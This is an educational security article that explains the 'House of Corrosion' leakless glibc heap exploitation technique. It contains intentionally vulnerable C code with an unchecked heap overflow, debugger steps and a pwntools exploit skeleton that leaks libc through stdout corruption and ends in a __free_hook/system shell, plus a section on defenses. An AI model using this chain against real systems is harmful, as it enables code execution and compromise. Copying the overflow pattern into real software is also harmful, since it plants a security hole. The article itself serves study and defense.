House of Corrosion

House of Corrosion - article cover image RE & Pwn
Time it takes to read this article 10 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

House of Corrosion is a leakless glibc heap technique whose defining trait is that it never needs a libc or heap address to get started. Where most modern heap attacks open with “first, leak libc,” House of Corrosion turns the allocator’s own fastbin bookkeeping into a set of relative-write primitives that reach out of the arena and into adjacent libc data — including the FILE structures behind stdout — so the *leak itself* becomes a product of the technique rather than a prerequisite. It was documented publicly by CptGibbon (Chris) in a detailed write-up and reference exploit, and it is best understood as an era-specific masterclass in how much leverage a corrupted global_max_fast grants you over glibc internals.

The technique was developed and demonstrated primarily against glibc in the 2.27–2.29 range. That era matters: it is late enough that tcache exists and early enough that the fastbin path and the surrounding libc data layout still behave the way House of Corrosion depends on. On much newer glibc the removal of the malloc hooks, tightened checks, and layout churn erode the clean version of the attack, so treat what follows as a technique with a defined shelf-life rather than an evergreen one-liner. Its enduring value is conceptual: it teaches you to see the fastbinsY array not as an opaque part of main_arena but as a writable region whose indexing you can drive from attacker-chosen chunk sizes.

Attack Prerequisites

House of Corrosion is a composed technique, not a single bug. It assumes you have already turned some memory-corruption primitive into the ability to free chunks of sizes you control, and that you can corrupt one libc global to prime the machinery:

  • A corrupted global_max_fast — the linchpin. You need one write into this libc global (classically via an unsorted-bin attack, a large-bin attack, or any write-what-where you already hold) to inflate it so that very large chunk sizes are treated as fastbin-eligible.
  • The ability to free chunks of attacker-chosen sizes — because the write *destination* is a function of fastbin_index(size), you must be able to place a forged size on a chunk and free it. A UAF or overflow that lets you edit chunk size fields before free is the usual enabler.
  • No libc leak required to begin — that is the whole point. You may still want a heap address for some variants, but the canonical flow bootstraps a libc leak from the technique by corrupting _IO_2_1_stdout_.
  • A glibc in the technique’s window — roughly 2.27–2.29, where the fastbin free path and the relative geometry between main_arena and neighbouring libc data line up as the technique assumes.
  • Some output the program prints — to cash the eventual stdout corruption into an actual leak, the target must emit buffered output at least once after you have altered the FILE structure.

How It Works

The fastbin free path in _int_free decides a freed chunk is fastbin-eligible by comparing its size against global_max_fast, then computes a slot with fastbin_index(size) and writes the chunk pointer into fastbinsY[idx] inside the arena. Normally global_max_fast is small (0x80-ish on 64-bit), so idx is tiny and the write lands squarely inside main_arena‘s small fastbin array. House of Corrosion’s first move is to make global_max_fast enormous. Once it is, a chunk of some large, attacker-selected size still passes the “is this a fastbin?” test, but its fastbin_index is now huge — so the pointer write lands at &fastbinsY[huge_index], an address *well past* the real fastbin array and out into whatever libc data follows main_arena.

Because you choose the chunk size, you choose the index, and therefore you choose (within the granularity of the size-to-index mapping) *where in libc* the allocator deposits a heap pointer when you free that chunk. That is the core primitive: a controlled-destination write of a heap-ish value into libc’s data segment, driven entirely by the size field of a chunk you free. Repeating this with different sizes gives you a scattering of writes across libc globals. The reference technique refines this into finer-grained control — using pairs of operations and the low bytes of the written pointer to flip individual bytes and dwords in the target — so that, rather than smashing a whole 8-byte slot with an uncontrolled value, you can perform semi-arbitrary byte-granularity edits of chosen libc fields.

The classic endgame aims those edits at _IO_2_1_stdout_, the FILE object for standard output. By corrupting its flags and the _IO_read_end/_IO_write_base pointers so that the buffer bounds bracket a wider span of memory, the next time the program flushes stdout it prints far more than intended — dumping libc addresses straight to you. With a libc base recovered, the same size-driven write machinery (or a conventional follow-up like corrupting a malloc hook on hook-bearing glibc, or steering into an FSOP chain) converts the position into code execution. The elegance is that the leak and the write are the *same* primitive applied to different indices.

Vulnerable Code / Setup

House of Corrosion needs a program that (a) lets you influence a chunk’s size field before it is freed and (b) has already handed you one write into a libc global for global_max_fast. A menu-driven heap program with an overflow into an adjacent chunk’s header is the canonical vehicle — the bug is the unchecked edit of a neighbouring chunk’s size:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Classic menu allocator. The 'edit' handler writes 'len' bytes with no bound
   check, so a write into chunk[i] spills into the header of chunk[i+1] --
   letting the attacker forge the SIZE field of the next chunk before freeing
   it. That forged size is what selects fastbin_index(size), and thus the
   destination of the House of Corrosion write. */
char *chunks[32];

void edit(int i, size_t len) {
    /* VULN: 'len' is attacker-supplied and unchecked against the alloc size. */
    read(0, chunks[i], len);          /* heap overflow into chunk[i+1] header */
}

void del(int i) {
    free(chunks[i]);                  /* frees with the (possibly forged) size */
    /* chunks[i] left dangling -> also gives UAF for the write-primitive setup */
}
C

The single libc write that primes the attack — inflating global_max_fast — is normally obtained from a separate primitive you already hold. Conceptually it is just this: set the global so the size test can never reject your large frees.

/* Conceptual effect of the priming write (obtained via an unsorted-bin attack,
   large-bin attack, or an existing write-what-where). After this, _int_free
   treats chunks far larger than the normal 0x80 fastbin ceiling as fastbins. */
global_max_fast = 0xffffffffffffff80;   /* schematic: 'enormous', not literal   */
/* Now free(chunk) with a forged large size writes &fastbinsY[fastbin_index(sz)] */
C

Mitigation posture decides whether the technique is even worth attempting, so fingerprint the target first. House of Corrosion cares far more about the *libc version* than about PIE/RELRO, because its targets live in libc, not the binary:

$ checksec --file=./target
RELRO      STACK CANARY   NX        PIE
Full RELRO Canary found   NX enab.  PIE enabled

$ ./target & ldd ./target | grep libc      # fingerprint the libc version
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (2.27)   # in-window: good

$ strings /lib/x86_64-linux-gnu/libc.so.6 | grep -m1 'GNU C Library'
    GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Bash

Walkthrough / Exploitation

Drive the size-to-destination relationship in a debugger before you script anything. The confirmation you are looking for is that after freeing a forged-size chunk, a heap pointer appears at an address *outside* the real fastbin array — proof the index math reached your intended libc field. pwndbg makes the arena and the write easy to watch:

gdb -q ./target
pwndbg> break del
pwndbg> run
pwndbg> p/x (long)&global_max_fast          # note it, then confirm your write
pwndbg> x/gx &global_max_fast               # should read 'enormous' after prime
pwndbg> # forge chunk[i+1] size via the edit overflow, then step over free():
pwndbg> fastbins                            # real fastbins: unchanged/empty
pwndbg> x/gx &_IO_2_1_stdout_               # target field takes the heap ptr
pwndbg> p &main_arena                        # anchor to reason about the index
Bash

The pwntools skeleton mirrors the phases: prime global_max_fast, perform size-driven writes to bend _IO_2_1_stdout_ into a wide-read state, harvest the leak, then convert. Symbol lookups keep the script honest — never hardcode offsets you can resolve from the libc you are targeting:

from pwn import *

libc = ELF('./libc.so.6')       # the exact target libc; resolve, do not guess
io   = process('./target')

# --- menu wrappers ---
def alloc(sz):        ...        # request a chunk
def edit(i, data):    ...        # the overflowing write (forges next size)
def free(i):          ...        # triggers free() on chunk[i]

# 1) PRIME: use your pre-existing write to inflate global_max_fast.
#    (unsorted-bin attack / large-bin attack / WWW you already hold)
set_global_max_fast_huge()

# 2) The write destination is a function of the freed chunk's size:
#    dest ~= &fastbinsY[ fastbin_index(size) ]  (lands past main_arena).
#    Choose sizes that map onto the _IO_2_1_stdout_ fields you want to touch.
def corrode(size):
    i = alloc(size)
    edit(i, forge_next_size(size))   # forge the header the free() will read
    free(i)                          # deposits a heap ptr at the chosen libc slot

# 3) Bend _IO_2_1_stdout_ into a wide-read state, then let the program flush:
for s in stdout_field_sizes():       # sizes chosen from fastbin_index geometry
    corrode(s)
io.recvuntil(b'')                    # buffered output now over-reads -> leak
leak = u64(io.recv(8).ljust(8, b'\x00'))
libc.address = leak - libc.sym['_IO_2_1_stdout_']    # resolve base from a symbol
log.success('libc base: %#x' % libc.address)

# 4) Convert: on hook-bearing glibc, steer a write to __malloc_hook/__free_hook
#    (libc.sym['__free_hook']); otherwise pivot into an _IO/FSOP chain.
Python

From the recovered libc base the finish is conventional and version-dependent: on glibc that still carries the malloc hooks you overwrite __free_hook with a one-gadget or with system and trigger a free on a chunk containing "/bin/sh"; on hook-less builds you carry the same relative-write idea into a FILE-structure / FSOP target. The important discipline throughout is that every libc address is derived from a resolved symbol on the *exact* target libc — the size-to-index geometry is unforgiving, and a wrong libc build silently sends your writes to the wrong fields.

Note: The most common failure mode is treating House of Corrosion as if a single free gives you a clean arbitrary write. It does not: the value written is a *heap pointer*, and the destination granularity is quantised by the size-to-index mapping. The technique’s finesse — flipping individual bytes and dwords of a target field — comes from combining operations and exploiting the low bytes of that heap pointer, not from a lone deposit. Budget several carefully-sized frees per field you want to shape, and verify each one in pwndbg rather than assuming the arithmetic worked.

Opsec: This is a version-locked technique. The relative distance between main_arena/fastbinsY and the libc data you are targeting is a property of the specific glibc build, so an exploit tuned for 2.27 will misfire on 2.29 and is effectively dead on modern hook-less glibc. Pin the libc, resolve every symbol from it, and if the target libc is outside the ~2.27–2.29 window, reach for a technique designed for that era instead of forcing this one.

Detection and Defense

House of Corrosion is downstream of an initial memory-corruption bug and an unhardened libc, so defenses split between killing the enabling bug and denying the machinery it abuses:

  • Eliminate the enabling corruption — the technique cannot start without a way to forge chunk sizes and a write into a libc global; bounds-checked buffer edits and nulling freed pointers remove both the overflow and the UAF that feed it.
  • Run modern glibc — later releases moved away from the layout and the hook-based finishes this technique leans on; upgrading off the ~2.27–2.29 window removes the clean form of the attack.
  • Full RELRO, PIE, ASLR — while the primary targets are in libc, hardening the binary removes easy static fallbacks and forces the attacker to bootstrap the very leak this technique is prized for producing.
  • AddressSanitizer / hardened allocators in testing — ASan flags the heap overflow that forges the size field, and provenance-validating allocators (hardened_malloc, scudo) that keep metadata out-of-line deny the in-band size forgery entirely.
  • Heap integrity assertions in CI — building test targets with allocator self-checks surfaces the corrupted global_max_fast and impossible fastbin indices before they reach production.

Real-World Impact

House of Corrosion’s footprint is largely in the CTF and allocator-research world rather than in a catalogue of named CVEs, and that is exactly why it is worth studying: it was a proof, at a specific moment in glibc’s history, that “no leak” is not a safe assumption when an attacker can drive fastbin indexing with chosen sizes. It sharpened the community’s understanding that global_max_fast is a high-value single-write target and that the fastbinsY array is really a window onto neighbouring libc data. The bug classes it builds on — heap overflow (CWE-122) and use-after-free (CWE-416) — remain perennial top-tier weaknesses, and the mindset it popularised (convert a size primitive into a destination primitive) recurs throughout later leakless heap work.

Conclusion

House of Corrosion is a study in leverage: one write to inflate global_max_fast turns the fastbin free path into a size-addressable pen that writes heap pointers across libc’s data segment, and careful choice of freed chunk sizes bends _IO_2_1_stdout_ into handing back the very libc leak most attacks must obtain up front. It is intricate, it is version-locked to roughly glibc 2.27–2.29, and it is not something you reach for on a modern hook-less target — but as an exercise it permanently changes how you read main_arena. Keep the enabling overflow and UAF out of your code, run current glibc, and the size-to-index geometry this technique weaponises never gets the chance to fire.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL